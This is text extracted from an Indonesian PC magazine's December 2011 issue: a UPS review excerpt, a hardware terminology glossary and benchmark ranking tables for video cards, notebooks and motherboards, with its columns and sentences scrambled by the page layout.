memudahkan Anda dalam menambah kapasitas baterai tanpa harus membuka case. Sebagai UPS kelas korporat, SUA 3000 XLI dibekali dengan fitur Auto Voltage Trimer dan fitur Self Test yang secara default (saat UPS on) akan bekerja dua minggu sekali guna memantau kesehatan baterai dan rangkaian distribusinya. Fitur ini juga bisa sewaktu-waktu Anda gunakan dengan menekan tombol “Test” 3 pada panel selama beberapa detik. Lewat EPO port 4 , Anda bisa menonaktifkan UPS ini via alat lain guna pencegahan, misalnya kebakaran. Tegangan input yang masuk akan selalu disensor 5 untuk menentukan UPS bekerja dengan AVR atau On Battery. Dengan software Power Chute, Anda bisa melakukan pengaturan sistem kerja UPS, seperti setting Automatic Self test, Shutdown delay, dan Alarm delay. Sayangnya, software ini berbasiskan web dan tak mendukung auto refresh.[[emailprotected]]

63

11/8/2011 11:58:07 AM

HARDWARE TEST Terminology

MOTHERBOARD IDE Controller Salah satu fungsi yang dimiliki chipset pada motherboard untuk mengatur komunikasi data pada harddisk, CD-ROM, dan sebagainya. LGA1155 Land Grid Array, adalah jenis socket yang digunakan CPU, khususnya Intel, di mana pin ada di socket, bukan di processor. Angka “1155” menunjukkan banyaknya pin processor.

STORAGE DEVICE Access Time Waktu yang diperlukan untuk mengakses data yang dibutuhkan dari keadaan idle (diam) hingga mendapatkan data tersebut. NCQ Native Command Queuing, merupakan command protocol pada SATA yang memungkinkan harddisk menentukan sendiri urutan perintah saat harddisk beroperasi. Selain mempercepat kinerjanya, NCQ juga mengoptimalkan umur mekanisme harddisk. Perpendicular Recording Perekaman data di dalam harddisk dengan memosisikan arah magnetisme di permukaan platter secara vertikal dibandingkan cara konvensional (horizontal). Dengan ini, ruang platter untuk menyimpan data makin kecil dan menyebabkan peningkatan densitas data yang dapat ditampung. RoHS Restriction of Hazardous Substances, adalah standar yang membatasi penggunaan enam materi berbahaya pada produk elektronik. Spindle Poros dalam harddisk yang menggerakkan/memutar platter.

PC CASE Case/Casing Adalah kotak/tempat bernaungnya komponen-komponen utama komputer selain monitor dan keyboard yang didominasi bahan logam. Power Supply Atau PSU, adalah komponen yang biasanya dibundel lang-

64

pcm_terminology_12_edit WS edit nur.indd 64

MicroATX Salah satu istilah yang digunakan untuk jenis dimensi yang diakomodasi oleh motherboard atau casing untuk menempatkan motherboard tersebut. Northbridge Salah satu dari dua chip pada chipset yang menghubungkan processor ke memory system dan bus AGP dan PCI. Chip lainnya adalah Southbridge. PATA/ATA Parallel Advanced Technology

VIDEO CARD Aliasing Efek (aliasing) yang muncul karena contoh citra grafis dipetakan pada display yang beresolusi lebih rendah. Hal ini menyebabkan gambar memiliki efek aliasing (jaggies, bentuk tangga pada sisi gambar di posisi miring). Core Clock Nilai frekuensi yang dimiliki chip grafis pada video card. Biasanya, semakin besar nilai frekuensi ini, maka semakin tinggi kinerjanya. Nilai frekuensi ini dinyatakan dalam satuan Hz (Hertz) dan biasanya ditambahkan cakupan nilai seperti Mega (jutaan) dan Giga (miliaran). D-Sub Standar output port yang dipakai dari video card ke monitor dengan menggunakan koneksi 15 pin.

PSU Active PFC Reactive power pada PSU merupakan hasil beban nonlinear. Sewaktuwaktu jika PSU terbebani high impulse, tegangan masukan (main voltage) jadi terpengaruh. Dengan active PFC, high impulse reactive power ini dapat ditekan seminimal mungkin. Active PFC memungkinsung di dalam casing (walau tidak mesti) sebagai unit yang menghandle alokasi daya ke komponenkomponen lain di dalam casing. LED Speaker dan Kabel Konektor Kebanyakan casing dilengkapi dua lampu indikator dalam bentuk LED untuk menunjukkan status power on dan operasional harddisk. Pada

Attachment, yakni implementasi komunikasi data secara paralel dari disk drive dengan controller berbasiskan IDE dengan lebar data sebesar 8-bit. SATA (Serial ATA) Evolusi dari Paralel ATA pada interface penyimpanan data yang menggunakan komunikasi serial melalui singel cabel dengan minimum empat kawat dan terhubung secara point-to-point sehingga mencapai kecepatan transfer hingga 6 Gbps pada perkembangan SATA generasi ketiga (SATA 3.0). DVI-I Salah satu varian DVI yang dapat dilalui sinyal analog maupun digital. DVI merupakan konektor yang digunakan pada monitor LCD yang sangat efektif untuk mengurangi noise video saat dilakukan konversi dari digital ke analog dan kembali ke digital lagi. GPU Graphic Processing Unit, adalah processor yang digunakan pada video card dalam pemrosesan gambar. Memory Clock Menunjukkan kecepatan kerja chip memory. Ia juga dinyatakan dalam satuan Hertz (Hz). PCI Express PCIe, sebelumnya dikenal dengan nama 3GIO (3rd Generation I/O). Interface ini memiliki bandwidth lebih tinggi dibandingkan AGP. kan transformer PSU mengonsumsi daya secara proporsional sesuai dengan daya yang dibutuhkan. Power Factor Rasio perbandingan antara active power dengan total dari active dan reactive power. Pada kebanyakan PSU, nilai power factor pada kisaran 0,65. Sementara, PSU dengan active PFC memiliki beberapa casing ada pula yang disediakan indikator LED untuk status Turbo atau fungsi lainnya seperti kecepatan kipas dan suhu. Dalam hal konektivitas, beberapa casing juga menyediakan port yang dihubungkan via kabel. Cooling Vent dan Auxiliary Fan/Kipas Cooling vent adalah lubang-lubang

PROCESSOR ALU Arithmetic and Logical Unit, adalah bagian processor yang melakukan perhitungan data matematis secara aktual. CPU Socket Socket CPU atau slot CPU merupakan komponen mekanis yang menyediakan koneksi mekanikal dan elektrikal antara perangkat (biasanya microprocessor) dan PCB (motherboard). Penggunaan socket CPU memungkinkan penggantian CPU tanpa risiko kerusakan terhadap board, misalnya pemasangan pada board dengan disolder langsung. Data Width Lebar data dari unit ALU. Sebuah ALU 8-bit dapat melakukan operasi pada dua 8-bit angka, sedangkan ALU 32-bit dapat beroperasi pada angka 32-bit. Dalam hal melakukan eksekusi, sebuah ALU 8-bit harus mengeksekusi empat instruksi untuk menambahkan dua 32-bit angka, sedangkan ALU 32bit mampu melakukannya hanya dalam satu instruksi. Overclocking Proses memaksa CPU untuk menjalankan pada kecepatan clock lebih tinggi daripada yang tercantum pada spesifikasi produsen. Overclocking CPU meningkatkan kinerja CPU meskipun dapat mengakibatkan ketidakstabilan sistem dan kerusakan pada CPU. power factor antara 0,97-0,99. Passive PFC Merupakan cara paling sederhana untuk memperbaiki power factor dengan cara memanfaatkan rangkaian yang didominasi choke. Kemampuan induktansinya dimanfaatkan untuk meredam high impulse yang terjadi pada beban nonlinear. di mana aliran udara dapat masuk dan keluar dari casing. Untuk memaksimalkan aliran udara, biasanya ditambahkan auxiliary fan/kipas. Mounting Hardware Biasanya di dalam casing dibundel beberapa unit untuk mounting, seperti mur, baut, dan bantalan motherboard di casing. 12/2011

11/9/2011 1:35:20 PM

Terminology HARDWARE TEST

SPEAKER Coaxial Adalah salah satu bentuk koneksi port yang digunakan sebagai jalur I/O data audio atau video. Kabel port jenis ini memiliki karakteristik penggunaan satu pin di tengah sebagai pengirim data dan dikelilingi pelindung logam yang berperanan sebagai ground. Optical Transmission Salah satu bentuk transmisi sejenis kabel yang menggunakan medium cahaya dalam hal transmisi data. Sumber cahaya yang digunakan biasanya laser atau LED. Kabel ini berdiameter lebih kurang 120 mikrometer. Cahaya yang ada dalam serat optik tidak keluar karena indeks bias dari kaca lebih besar daripada indeks bias dari udara karena laser mempunyai spektrum yang sangat

NOTEBOOK PC Card Kartu ekspansi yang biasanya digunakan pada notebook sehingga notebook tersebut memiliki fungsi-fungsi baru, seperti WLAN, bluetooth, dan sound. PCMCIA Personal Computer Memory Card International Association, adalah sebuah organisasi yang mengembangkan standar untuk komponen berukuran kecil, kurang lebih sebesar kartu kredit dan biasa disebut PC card. SO-DIMM Small Outline DIMM, merupakan versi yang lebih kecil dari DIMM standar yang biasanya digunakan pada komputer notebook. SODIMM terbagi menjadi dua jenis. Pertama untuk jenis yang memiliki jumlah pin sebanyak 72 pin. Ia merupakan memory ber-interface 32-bit. Kedua untuk jenis 144 pin, yaitu memory yang ber-interface 64-bit. TFT LCD Penggunaan teknologi thin-film transistor pada Liquid Crystal Display. Penggunaan layar ini juga termasuk bagian dari yang disebut active matrix LCD. Selain pada layar notebook, LCD dapat ditemukan juga pada proyektor, monitor LCD, bahkan sejak 2004, LCD juga menggantikan CRT pada televisi. 12/2011

pcm_terminology_12_edit WS edit nur.indd 65

sempit. Kecepatan transmisi serat optik sangat tinggi sehingga sangat bagus digunakan sebagai saluran komunikasi. Decoder Dapat berupa software atau hardware yang digunakan untuk mengubah data audio maupun video dari bentuk format digital menjadi bentuk aslinya (analog). Driver atau Tranducer Nama lain speaker, tidak termasuk boks maupun komponen elektronik lainnya seperti amplifier. Ukuran tiap driver biasanya ditentukan berdasarkan diameter membran speaker. Equalizer Alat pengatur amplitudo dari beberapa nilai frekuensi yang sudah ditetapkan untuk diatur.

NETWORKING Connection-Less Protocol Transmisi data yang terjadi antara dua host yang sebelumnya tidak terjadi setup connection sama sekali. Metode ini dapat menghemat bandwidth, hanya saja cenderung terjadi error dibandingkan yang menggunakan protocol.

DESKTOP PC Keyboard Periferal untuk input data di komputer dengan konfigurasi susunan tombol QWERTY. Selain dari konfigurasi tombol QWERTY, keyboard komputer juga dilengkapi dengan standar tombol-tombol lainnya untuk memaksimalkan semua fitur yang dimiliki oleh komputer. Monitor Alat output komputer yang berupa

UPS AVR Auto Voltage Regulator. Tambahan fungsi AVR memungkinkan UPS untuk melindungi komputer dari voltage sag, voltage spike, brownout, dan over voltage serta menjaga tegangan listrik keluaran (voltage output) tetap stabil. Battery Berfungsi menyimpan daya pada UPS. Saat aliran listrik normal, DC supply dan charger mengisi kapa-

MULTIMEDIA COMMUNICATION Android Sistem operasi yang dikhususkan untuk mobile communication (smartphone), yang didesain oleh Google. Sistem operasi ini berbasiskan kernel Linux dan hadir dalam bentuk software open source. Advanced Mobile Phone Service (AMPS) Adalah sistem analog seluler yang pertama digunakan di Amerika Serikat. Sistem ini digunakan secara luas sampai 1997. AMPS systems digunakan di lebih dari 72 negara. 3G Merupakan standar yang ditetapkan oleh International TelecomDirect-Attached Storage Storage device, bisa dalam bentuk RAID, disk, atau tape, yang terhubung secara langsung dengan server aplikasi yang mengakses data dalam storage device tersebut. Host Kata yang biasanya digunakan untuk mewakili sebuah komputer di display untuk dapat menunjukkan secara langsung pemrosesan oleh komputer yang sedang terjadi secara real-time. Mouse Alat input/interaksi di komputer untuk menggerakkan kursor di monitor display, yang difungsikan untuk memilih secara langsung aplikasi-aplikasi yang akan dijalankan. Biasanya, mouse lebih untuk komputer dengan sistem operasi yang berbentuk GUI (Graphic User Interface). sitas baterai. Saat listrik padam, inverter mengambil daya dari baterai untuk catuan daya beban output dari UPS. DC Supply & Charger Bagian komponen UPS yang bertugas mengubah tegangan listrik AC menjadi DC. Frequency Listrik AC berbentuk gelombang sinusoidal dengan frekuensi tertentu, yang biasanya antara 50 Hz hingga 60 Hz.

munication Union (ITU) yang diadopsi dari IMT-2000 untuk diaplikasikan pada jaringan ponsel. Multi-touch Multi-touch adalah salah satu fitur teknologi layar sentuh pada smartphone maupun tablet. Fitur multi-touch memungkinkan input sentuhan jari lebih dari satu atau dua, bahkan hingga sepuluh jari. Fitur ini berguna sebagai interaksi user dengan hanheld-nya, misalnya zoom tampilan hanya dengan mencubit layar. SIM Subscriber Identitiy Module, merupakan salah satu bentuk IC yang difungsikan untuk menyimpan servis subscriber key yang biasa digunakan untuk mengidentifikasi para subscriber dalam hardware ponsel. dalam jaringan. Ini termasuk komputer user atau komputer server yang terhubung ke jaringan. LAN Local Area Network, terdiri atas sekumpulan PC yang terkoneksi dalam area yang relatif kecil (home network) dan memungkinkan komunikasi antar-PC tersebut.

KEYBOARD Anti-Ghosting Fitur keyboard yang ditujukan untuk memaksimalkan berapa banyak tombol keyboard yang dapat ditekan secara bersamaan dan tetap memberikan input ke komputer. Button Mechanism Struktur mekanisme yang dipakai dalam tombol-tombol keyboard. Button mechanism bisa berjenis spring, scissor, dan chiclet yang merupakan tombol berbasiskan bahan karet. Keystroke Proses penekanan tiap tombol keyboard. Keystroke bisa juga dijadikan parameter daya tahan berapa kali tombol dapat ditekan sebelum akhirnya menunjukkan gejala kerusakan. Macro-key Tombol yang dimungkinkan untuk diprogram agar user bisa melakukan input seperti multi-key atau perintah-perintah tertentu dalam game.

65

11/9/2011 1:35:23 PM

HARDWARE TEST Top 50

TOP 50 HARDWARE TEST Top list indeks produk terbaik yang kami uji sebelumnya terbagi menjadi lima kategori produk bernilai tertinggi menurut indeks PC Media. List ini dilengkapi dengan harga dan nomor kontak (nomor telepon dengan kode area Jakarta, kecuali jika ada catatan khusus) agar Anda bisa mendapatkan info lebih lanjut. Tablet dan multimedia communication yang menjadi tema pengujian hardware pada edisi penutup tahun kali ini, mengarahkan fokus kami yang besar ke pembahasan home digital. Karena itu, semakin kecil porsi untuk benar-benar merambah sisi core PC. Selain itu, peralihan basis software pengujian yang baru menyebabkan banyak hardware core PC belum kami tampilkan di ajang top list kali ini. Pasalnya, jumlah anggota masih sedikit untuk dapat mewakili tiap kategori produk core PC masing-masing. Dengan kenyataan seperti yang kami kemukakan tersebut, top list kali ini masih bertahan pada kondisi terakhir seperti edisi terakhir kemarin. Lagi pula, beberapa produk yang kami uji yang berhubungan dengan core PC, seperti notebook, motherboard, dan video card sudah kami sesuaikan hasil

pengujiannya dengan software pengujian terbaru. Tidak satu pun yang mampu menembus posisi dalam top list. Hal ini bukan karena produk-produk tersebut memiliki kelas yang lebih rendah, tetapi lebih pada perbandingan parameter keseluruhan produk yang tidak terlalu berimbang. Satu contoh pada sisi penawaran harga. Walau memang harga bisa menentukan sisi kualitas, operasional maupun produktivitas produk itu sendiri tidak terlalu berimbang dengan harga yang ditawarkan sehingga tawaran lebih apa pun menjadi tidak terlalu bermakna. Yang kami maksud dalam hal operasional dan produktivitas adalah fungsi paling mendasar dari produk itu sendiri. Sebagai contoh, video card berfungsi sebagai video card untuk merender grafis saja. Tentu saja, tidak ketinggalan pula faktor paling mendasar akan performa.

KETERANGAN TABEL Data Teknis Produk (Opsional)

Nama Produk

Total Performa Tiap Produk yang Diuji

VIDEO CARD LOW-END (

dwit

t

duc

Pro

1 2 3

Fluktuasi Posisi Produk

/GD

GPU

an RB

D

ad /Sh DDR

lock

er C

(

/G

GPU

Unigine Tropics 3D MarkVantage GPU Crysis Warhead Stalker: SunShafts (OpenGL) AF) AF) AF) AF) AF) AF) AF) 16x 16x 16x +16 +16 +16 A+16x ma S$) A A A + + + A A A A A A oA oA oA oA rfor (no (no (no 8 (n 8 (n 8 (n 8 (n a (U 00 00 00 l Pe

Kontak untuk info Produk (Nomor Telepon Kode Area DKI Jakarta)

F)

16A

A+ noA

0 6 6 6 6 g a x60 4x7 800x6 024x7 800x6 024x7 800x6 024x7 Tot Har 800 1 1 102 1 10895 7207 2068 1635 111 67 80 39 92.79 98

an

guji

Pen

Kon

tak

ZOTAC GeForce 9600GT Supreme 512MBDDR3 POV GeForce 9600GSO EXO 384MBDDR3

G94 A1 / 256-bit G92 A2 / 192-bit

675MHz / 1800MHz / 1650MHz 625MHz / 1800MHz / 1562MHz

13468

8714

1758

1429

77

56

84

43

91.31

88

10/2009 601-9408 10/2009 601-2974

4 5 6

digital alliance GeForce 9600GT 512MBDDR3 Eagle GeForce 9600GT 512MBDDR3 digital alliance Radeon HD4670 1GBDDR3 HIS Radeon HD4670 512MBDDR3

G94 A1 / 256-bit G94 A1 / 256-bit RV730 / 128-bit RV730 / 128-bit

600MHz / 1800MHz / 1500MHz 600MHz / 1400MHz / 1500MHz 750MHz / 1746MHz / NA 750MHz / 2000Mhz / NA

12708 11928 9491 10227

8466 7835 6126 6643

1665 1581 1384 1447

1351 1286 1144 1212

79 76 89 51

58 56 61 38

75 73 42 52

36 35 26 31

86.26 82.34 76.87 70.13

97 90 90 85

10/2009 10/2009 10/2009 10/2009

7

Digital Alliance GT220 Sonic 512MB GDDR3

GT216 / 128-bit

650MHz / 1800MHz / 1415MHz

7988

5178

1269

976

81

50

47

23

65.84

68

03/2010 612-7712

8 Digital Alliance HD4670 512MB GDDR3 RV730 / 128-bit 750MHz / 1746MHz / NA 9 Leadtek WinFast PX9500GT 512MBDDR3 G96 C1 / 128-bit 575MHz / 1600MHz / 1400MHz 10 Leadtek Winfast GeForce GT 220 GT216 / 128-bit 625MHz/ 1600MHz / 1360MHz N/A : Not Available, : New Product, : Posisi tetap, : Posisi naik, : Posisi turun

9709 5971 6959

6281 3803 4460

1387 1041 1102

1148 801 860

41 63 50

35 44 32

48 40 40

28 17 21

62.33 60.61 49.60

78 75 Rp. 875.000

12/2009 612-7712 10/2009 612-4030 01/2010 612-4030

Edisi Ulasan dan Pengujian Produk di PC Media.

612-7712 612-0956 612-7712 601-9408

Harga Produk saat Diulas Nilai Hasil Uji Produk yang Dilakukan di Lab PC Media

MOBILE PC B)

e (G

rd s Ha

Driv

a t sor lay asit ces duc Pro Pro Disp Kap 1 Dell Alienware M17x Intel Core i7 Extreme 920QXM @ 2.0GHz 2x 500 17” (1440x900) 2 Forsa FS 8890 Intel Core i7 820QM @ 1.73GHz 500 17” (1920x1080) 3 ASUS N43SL Intel Core i7 2630QM @ 2.0GHz 640 14.1” (1366x768) 4 Axioo NEON HNM Intel Core i7 2630QM CPU @ 2.00GHz 750 14.1” (1366x768) 7047 Core i7 5 MSI GX640 Intel Core i5 430M @ 2.26GHz 320 15.4” (1680x1050) 6 Toshiba Qosmio Intel Core i7 720QM @ 1.60GHz 500 18.4” (1680x945) 7 ASUS G53Jw 3D Intel Core i7 720QM @ 1.60GHz 2x 750 15.6” (1366x768) 8 Lenovo Z460 Intel Core i3 640 14.1” (1366x768) 9 ASUS G51J 3D Intel Core i7 720QM @ 1.60GHz 2x 500 15.6” (1366x768) 10 SONY VAIO VPCS117 Intel Core i5 520M @ 2.40GHz 500 13.3” (1366x768) N/A : Not available, : New product, : Posisi tetap, : Posisi naik, : Posisi turun

66

pcm_top 50_12_edit WS edit nur2.indd 66

ity ry ctiv emo rodu ate ge R tage M tage P tage a t ma n a ) an an an rfor (MB ark V ark V ark V ark V ry2 l Pe ga RAM PCM PCM PCM 3DM FarC Tota Har GPU 2x ATi Mobility Radeon HD 4870 4096 7697 5308 7018 11976 66.92 100.00 Rp43.500.000 ATi Mobility Radeon HD 5870 4096 6468 4792 4910 8436 41.67 78.93 Rp16.000.000 nVIDIA GeForce GT 540M 3072 7552 4230 5285 4395 29.67 78.35 US$1.299 Intel HD Graphic 4096 7167 4023 6584 1537 10.79 74.06 Rp6.999.000

09/2010 08/2010 05/2011 07/2011

tak Kon 3299-0032 612-5637 612-1330 626-6780

ATi Mobility Radeon HD 5850 nVIDIA GeForce GTS 360M nVIDIA GeForce GTX 460M nVIDIA GeForce 310M nVIDIA GeForce GTX 260M nVIDIA GeForce 310M

08/2010 08/2010 03/2011 06/2011 08/2010 08/2010

6220-0000 3299-0032 612-1330 5789 4719 612-1331 2358-0639

4096 4096 8192 2048 4096 4096

5803 6002 5466 6070 5652 6234

4719 4456 4155 3411 4016 3314

4721 5216 4374 5278 4194 4803

6963 5592 7315 1106 2977 1142

28.71 26.64 47.04 12.56 13.69 9.43

71.50 71.50 69.66 62.24 60.99 60.93

US$1.349 Rp19.000.000 US$2.009 US$639 US$1.999 N/A

an

guji

Pen

Axioo Neon HNM Menggunakan processor mobile Intel terbaru.

12/2011

11/9/2011 10:44:57 AM

Top 50 HARDWARE TEST

MOTHERBOARD AMD (AM3/FM1)

1 2 3 4 5

t duc Pro Motherboard AMD (AM2+/AM3) Gigabyte 870A-USB3 PCP+ GRIFONNOMEX III MSI 890FXA-GD70 ASRock 890FX Deluxe3 ECS A890GXM-A V1.0

/ ket

t pse

Chi

CPU

AMD 870 / SB850 AMD 890GX / SB850 AMD 890 / SB850 AMD 890FX / SB850 AMD 890GX / SB850

rt epo Sid

Soc

AM3 / DDR3 AM3 / DDR3 AM3 / DDR3 AM3 / DDR3 AM3 / DDR3

t/ cke

e

RAM

age

pe / Ti

rk

a PCM

NA 128MB / GDDR3 NA NA 128 / GDDR3

RAM

t Van

Rat

age

ark

5960 5721 5819 5875 5964

7106 7254 7301 7311 7326

t t duc gra So pse Pro Inte Chi CPU Motherboard AMD (FM1) 1 MSI A75MA-G55 A75 FM1 Radeon HD6530 2 Gigabyte A75M-UD2H A75 FM1 Radeon HD6530 3 ECS A75F-A A75 FM1 Radeon HD6530 4 ASROCK A75M-HVS A75 FM1 Radeon HD6530 5 Asrock A75 Extreme 6 A75 FM1 Radeon HD6530 N/A : Not available, : New product, : Posisi tetap, : Posisi naik, : Posisi turun

258 138 220 200 131

09/2011 07/2011 09/2010 10/2010 08/2010

PCM

PCM

ark hm enc B rma S$) 11 U erfo rk al P arga ( Ma Tot H 3D

1569 1619 1608 1509 1543

2315 2400 2378 2106 2422

1252 1255 1250 1172 1259

r

ark

2455 2497 2503 2154 2418

95.71 88.65 87.37 86.18 86.15

ian

guj

Pen

tak

Kon

601-8218 3373-3137 6220-0000 612-1330 628-2048

al

ivity

R k7

Ma

PC

85.96 66.23 62.72 54.30 58.62

t duc

ate

GA

y ctivit rodu ch ge P ma S$) a t n Ben a rfor U rk V ry 2 l Pe arga ( a C a r M t Fa H To PC

ry

mo

Me

PCM

7855 7913 7717 7954 7605

V ted

t Van

n atio

put

ro 7P

ark

7

Com

96.68 98.81 98.54 91.20 90.64

140 131 89 92 164

n

ia guj

tak

Kon

Pen

11/2011 10/2011 11/2011 11/2011 10/2011

6220-0000 7215-9099 6282048 612-1330 612-1330

MSI A75MA-G55 Komponen berstandar militer.

MOTHERBOARD INTEL (LGA1366/LGA 1155)

1 2 3 4 5

t duc Pro Motherboard Intel (LGA 1366) ECS X58B-A 3 SLI Gigabyte GA-X58A-UD9 AsRock X58 Extreme 3 ASUS RAMPAGE III EXTREME Gigabyte Assassin

ct odu

Pr Motherboard Intel (LGA 1155)

/ ket

t pse Chi

Intel X58 / ICH10R Intel X58 / ICH10R Intel X58 / ICH10R Intel X58 / ICH10R Intel X58 / ICH10R

rt epo Sid

LGA1366 / DDR3 LGA1366 / DDR3 LGA1366 / DDR3 LGA1366 / DDR3 LGA1366 / DDR3

N/A / N/A N/A / N/A N/A / N/A N/A / N/A N/A / N/A

/ ket

set

p

Chi

Soc

CPU

CPU

RAM

age

pe / Ti

ark

Int

Rat

V ted

9376 8842 8678 9499 9250

age

a PCM

PCM

y tivit

ark

PC

ro 7P

89.04 78.21 67.46 55.57 39.43

ark

p om 7C

98.06 92.19 89.06 88.25 81.36

al

tion

uta

duc

r Ma

3391 3314 3387 3377 3358

m Me

8230 8190 8081 8238 8100

R k7

1 VVIKOO V-IH61HU3 Intel H61 LGA1155 / DDR3 Intel HD graphic 850 MHz 2 VVIKOO Z68Pro intel Z68 LGA1155 / DDR3 Intel HD graphic 850 MHz 3 Gigabyte H61M-S2P-B3 Intel H61 LGA1155 / DDR3 Intel HD graphic 850 MHz 4 ASRock H61M/U3S3 Intel H61 LGA1155 / DDR3 Intel HD graphic 850 MHz 5 MSI H61M-E33 Intel H61 LGA1155 / DDR3 Intel HD graphic 850 MHz N/A : Not available, : New product, : Posisi tetap, : Posisi naik, : Posisi turun

rk

t Van

6917 6803 6971 6955 6819

ate

GA

a egr

Soc

t Van

y ctivit odu h e Pr g a rma t $) enc Van erfo a (US 2B ark g Cry al P Far Har Tot PCM

ory

e

RAM

201 610 245 536 590

ark

hm

nc

PCM

PCM

t Dir

2259 2250 2268 2265 2256

5075 5525 5040 4976 4930

30.13 30.77 30.23 31.00 30.19

e 3B

11/2010 09/2010 07/2010 11/2010 05/2011

rma S$) (U ga Har

erfo

al P

Tot

98.51 98.47 98.38 98.02 97.59

ian

guj

Pen

74 166 110 80 83

612-1330 601-8218 612-1330 612-1330 601-8218

ian

guj

Pen

tak

Kon

10/2011 10/2011 10/2011 10/2011 10/2011

tak Kon

VVIKOO V-IH61HU3

612-5505 612-5505 601-8218 612-1330 6220-0000

Fitur menarik dan terjangkau.

VIDEO CARD MID-RANGE (US$100~US$200) t

duc

Pro

DR

/GD

GPU

GPU

Unigine Tropics 3D MarkVantage GPU Crysis Warhead Stalker: SunShafts (OpenGL) ) ) ) ) F) F) F) F) F F F A A A A A A A x x x xAF a 6 6 6 6 +16 +16 +16 oAA+1 +16 A+1 A+1 A+1 form S$) xAA xAA xAA xAA n noA noA noA an Per 4 (2 4 (2 4 (2 4 (2 x768 ( a (U l 68 ( 68 ( 68 ( guji tak 2 2 2 2 a 7 7 7 0 0 0 0 t x x x 1 1 1 1 arg 4 o 24 24 24 T H Pen Kon 0x 0x 0x 0x 0 0 0 8 8 8 8 102 1 1 1 2 2 2 2 1 1 1 1

ck Clo der Sha

idth

dw Ban

DR/

/GD

GF104 / 256-bit 700 MHz / 3896 MHz / 1400 MHz 1 Galaxy GTX 460 GC GF104 / 256-bit 700MHz / 3600MHz / 1350MHz 2 Gainward GTX 460 1GB BARTS LE / 256-bit 900/ 4400/ NA 3 HIS Radeon HD 6790 GF116 / 192-bit 1000 / 4400 / 2000 MHz 4 zotac GTX 550 Ti BARTS LE / 256-bit 840MHz / 4200MHz / NA 5 Sapphire Radeon HD 6790 GF116 / 192-bit 970MHz / 4200MHz / 1940 MHz 6 Gigabyte GTX 550 Ti 930MHz / 1000MHz / 1860 MHz 7 Digital Alliance GTS450 Sonic Platinum GF106 / GDDR5 128-bit GF106 / GDDR5 128-bit 925MHz / 1000MHz / 1850 MHz 8 ASUS ENGTS 450 Juniper/ GDDR5/ 128-bit 850MHz / 4800MHz / NA 9 Sapphire Radeon HD 5770 GF106 / GDDR5 128-bit 810 MHz / 902 MHz / 1620 MHz 10 Zotac GTS 450 N/A : Not available, : New product, : Posisi tetap, : Posisi naik, : Posisi turun

19537 20751 16334 17151 15008 16548 15524 14565 13009 12788

15926 13043 14888 13265 13817 12787 12010 12047 10876 10620

2487 2516 2233 2183 2105 2122 2004 1996 1981 1768

1753 1734 1583 1518 1487 1472 1376 1366 1395 1208

76.00 72.00 70.00 73.00 68.00 75.00 73.00 74.00 55.00 66.00

38.00 39.00 32.00 33.00 30.00 32.00 31.00 30.00 22.00 26.00

90.00 86.00 87.00 73.00 81.00 70.00 65.00 66.00 69.00 58.00

54.00 52.00 50.00 45.00 47.00 42.00 38.00 39.00 40.00 34.00

96.43 93.23 87.14 83.52 81.80 81.15 76.57 76.09 68.23 66.95

198 194 188 150 173 187 170 188 187 145

01/2011 09/2011 09/2011 09/2011 07/2011 07/2011 12/2011 12/2011 02/2011 01/2011

601-2974 612-4030 6230-4048 6230-4048 612-1330 601-8218 612-7712 612-1330 612-1330 601-9408

Gainward GTX 460 High performance and hot.

VIDEO CARD ENTHUSIAST (> US$300) idth

duc

Pro

t

/GD

GPU

DR

dw Ban

der Sha DR/

ck

Clo

/GD

GPU

Antiles / 256-bit 2 x 800 MHz / 2x 5000 MHz / NA 1 VTX HD 6990 Hemlock / 2x 256-bit 2x 850MHz / 2x 4800MHz / NA 2 ASUS ARES GF110 / 384-bit 797 MHz / 4052 MHz / 1594 MHz 3 EVGA GTX 580 GF110 / 384-bit 782 MHz / 4008 MHz / 1564 MHz 4 Asus GTX 580 direct CU II GF 110 / 384-bit 772 MHz / 4008 MHz / 1544 MHz 5 Digital Alliance GTX 580 GDDR5 GF 110 / 384-bit 772 MHz / 4008 MHz / 1544 MHz 6 GALAXY GTX 580 Cayman XT / 256-Bit 880 MHz / 5500 MHz / 7 VTX3D HD 6970 2GB Cayman / 256-bit 900 MHz / 5600 MHz / NA 8 XFX HD 6970 2 GB Hemlock / 2x 256-bit 2x 725MHz / 2x 4000MHz / NA 9 DIGITAL ALLIANCE ATI HD 5970 GF114 / 256-bit 880 MHz / 4200 MHz /1760 MHz 10 MSI N560 GTX-TI TWIN FROZER N/A : Not Available, : New Product, : Posisi tetap, : Posisi naik, : Posisi turun

12/2011

pcm_top 50_12_edit WS edit nur2.indd 67

Unigine Tropics Crysis Warhead Stalker: SunShafts 33D MarkVantage GPU (OpenGL) ) ) ) 6AF 6AF 6AF AF) AF) AF) 1 1 1 x x x 6 6 6 ) + + + 1 1 1 A oAA oAA oAA rma S$) AA) AA+ AA+ 0 (noA AA+ 0 (n 0 (n 0 (n (4x (8x (8x (8x erfo (U

20 20 36 536 0x1 48x15 600x1 8x1 160 1 20 204 21527 14205 2219 1241 17791 11587 1997 1202 16251 9398 2251 1266 15962 9280 2215 1247 15822 9146 2180 1225 15831 9198 2187 1233 13328 7928 2391 1325 13034 7934 2490 1347 13924 8823 1229 845 12211 6926 1804 951

20 1536 x120 536 otal P arga 0x1 0 x 8x1 T H 160 2048 160 204 65.00 32.00 116.00 53.00 95.88 680 66.00 34.00 69.00 31.00 79.16 1250 65.00 33.00 52.00 25.00 72.71 572 64.00 33.00 51.00 25.00 71.85 609 65.00 33.00 50.00 26.00 71.77 550 64.00 33.00 50.00 24.00 71.14 540 59.00 29.00 63.00 28.00 69.40 405 55.00 27.00 63.00 28.00 68.02 Rp3.514.000 66.00 33.00 59.00 25.00 66.50 665 62.00 31.00 48.00 21.00 61.63 315

an

guji Pen 06/2011 10/2011 06/2011 06/2011 02/2011 09/2011 09/2011 08/2011 04/2011 06/2011

k

ta Kon

601-2974 659-7678 612-5505 612-1330 612-7712 601-2974 601-2974 600-0029 612-7712 6220-0000

XFX HD 6970 Single GPU terkuat AMD.

67

11/9/2011 10:45:22 AM

COVER STORY Home Digital

HOME DIGITAL Rumah adalah tempat kita bernaung. Segala cara dapat dilakukan untuk membuat kita betah tinggal di dalamnya, termasuk menerapkan unsur digital. ON THE DISC Verydias Aditya

